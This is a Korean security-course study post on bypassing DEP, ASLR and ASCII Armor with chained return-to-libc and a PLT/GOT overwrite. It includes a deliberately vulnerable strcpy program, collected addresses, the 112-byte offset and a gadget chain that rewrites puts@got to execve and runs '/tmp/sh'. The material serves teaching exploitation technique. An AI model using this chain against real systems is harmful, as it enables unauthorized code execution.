8. 보호 기법 우회
3) DEP + ASLR + ASCII Armor 우회
---> 페도라로 진행
▣ Chaining RTL
- 연속적으로 함수를 호출하려면..
- Gadget(가젯)을 이용하자!
☞ 가젯은 RET로 끝나는 명령의순서임. 반드시 PR, PPR과 같은 모습이 아니라도 끝에 R만 존재하면 됨.
☞ POP을 통해 이전의 값들을 꺼내고 RET를 통해 새로운 명령(함수주소)를 부를 수 있음.
- 다양한 gadget을 이용하여 연속적으로 함수 호출이 이루어짐.
- gadget 구하기
$ objdump -d -M intel [실행파일] | grep ret -B 3
☞ RET 위로 3줄정도 더 grep하여 보여줌.
▣ PLT & GOT
- PLT : 프로시져 링키지 테이블 (Procedure Linkage Table)
☞ 함수 목록 테이블 (GOT만 참조함)
☞ 공유라이브러리에 의존하는 모든 공유라이브러리와 실행파일이 심볼을 결정하기 위해 사용하는 정보
☞ 주소 공간에서 다른 함수를 찾기위한 명령어 집합을 포함
☞ ELF 내부 구조에 .plt라는 섹션에 존재.
- GOT : 글로벌 오프셋 테이블 (Global Offset Table)
☞ 실제 함수의 주소
☞ 공유라이브러리 함수의 집합 테이블
☞ 공유라이브러리 내의 실제 함수 주소가 저장되는 곳.
- PLT & GOT 동작 분석
#include <stdio.h> int main() { printf("Hello PLT!\n"); return 0; }
(1) puts@plt 호출
☞ plt안에 있는 puts를 쓸건데 이건 puts의 주소는 아님. -> got 주소얌
(2) puts@got 호출
☞ ds : 포인터==저 주소를 역참조해서 그 값을 쓸거얌.
☞ 0x804a00c가 바로 got값인데 바로 밑에 주소를 의미하고 있음.
☞ 위의 세줄 밑으로의 코드를 보면 puts함수의 주소를 구하는 코드가 존재함. 그래서 밑의 코드들을 다 실행하고 나면 got값이 바뀜.
☞ 나중에 다시한번 puts@plt를 쓰면 이제 바로 밑의 줄로 점프하지 않고 바로 puts함수의 주소로 점프함.
---> 한 프로그램에서 여러번 같은 함수를 쓸 때 해당 시간을 줄여주기 위함.
☞ 함수 호출 전
☞ 함수 호출 후
▣ DEP + ASLR + ASCII Armor 우회 이론
- 최신 배포판들의 경우 DEP(쉘코드X) + ASLR(환경변수X) + ASCII Armor(RTL공격X) 적용
- ASLR의 경우는 쉽게 깨짐.
- 우리가 실행할 함수 : execve("/tmp/sh", NULL, NULL)
- 취약한 프로그램
#include <stdio.h> int main(int argc, char *argv[]) { char buffer[100]; strcpy(buffer, argv[1]); printf("%s\n", buffer); }
[공격 방법론]
1. PLT&GOT Overwrite (strcpy@plt사용)
puts@got ---> execve 함수 주소
2. BSS 영역(초기화 안된 전역변수)에 인자값으로 사용할 "/tmp/sh" 문자열 복사
3. puts@plt 호출 및 execve 인자값 전달
4. puts@got BBBB BSS NULL*2로 공격.
▣ DEP + ASLR + ASCII Armor 우회 실습
---> 먼저 export로 언어 설정부터 바꿔줌.
1. 공격에 필요한 주소들 수집
strcpy@plt: 0x08048310
puts@plt: 0x08048320
puts@got: 0x0804a010
execve: 0x4abfd550
BSS: 0x0804a020 + 16 = 0x0804a030 (혹시 무슨 값들어있는지 모르니 시작주소에서 16바이트 뒤의 주소 사용)
PPR: 0x080484ee
▶ strcpy@plt, puts@plt, puts@got 구하기
▶ execve 함수 주소 구하기
▶ BSS 주소 구하기
▶ PPR 구하기
2. RET까지 거리 확인
- EAX(버퍼)에서 EBP까지 거리가 108이니 RET까지 거리를 구하려면 EBP 까지 더해서 112임.
3. puts@got에 execve 주소 복사
ex) execve=="\xAABBCCDD"
strcpy@plt + PPR + puts@got[0] + "\xDD 주소",
strcpy@plt + PPR + puts@got[1] + "\xCC 주소",
strcpy@plt + PPR + puts@got[2] + "\xBB 주소",
strcpy@plt + PPR + puts@got[3] + "\xAA 주소"
- 4a bf d5 50
- 아래와 같은 방법으로 다 찾아봐야함.
4. BSS에 "/tmp/sh" 복사
strcpy@plt + PPR + BSS[0] + "/ 주소",
strcpy@plt + PPR + BSS[1] + "t 주소",
strcpy@plt + PPR + BSS[2] + "m 주소",
strcpy@plt + PPR + BSS[3] + "p 주소",
strcpy@plt + PPR + BSS[4] + "/ 주소",
strcpy@plt + PPR + BSS[5] + "s 주소",
strcpy@plt + PPR + BSS[6] + "h 주소",
strcpy@plt + PPR + BSS[7] + "\x00 주소",
- 3번과 동일하게 /, t, m, p 등의 문자 하나하나에 대해 고정된 메모리에서 해당 문자 주소를 찾아 복사해야함.
5. puts@plt 호출
puts@plt + DUMMY + BSS + NULL + NULL
(execve + DUMMY + "/tmp/sh" + NULL + NULL)
i2sec 대구지점 23기 수료생.
'해킹&보안 > 시스템해킹&보안' 카테고리의 다른 글
[D+12] HEAP BOF (0) | 2017.04.13 |
---|---|
[D+10] 보호 기법 우회 (1) (4) | 2017.04.12 |
[D+9] 메모리 보호 기법 (0) | 2017.04.12 |
[D+8] 쉘 코드 제작 (심화) (0) | 2017.04.12 |
[D+7] 쉘 코드 제작 (0) | 2017.04.11 |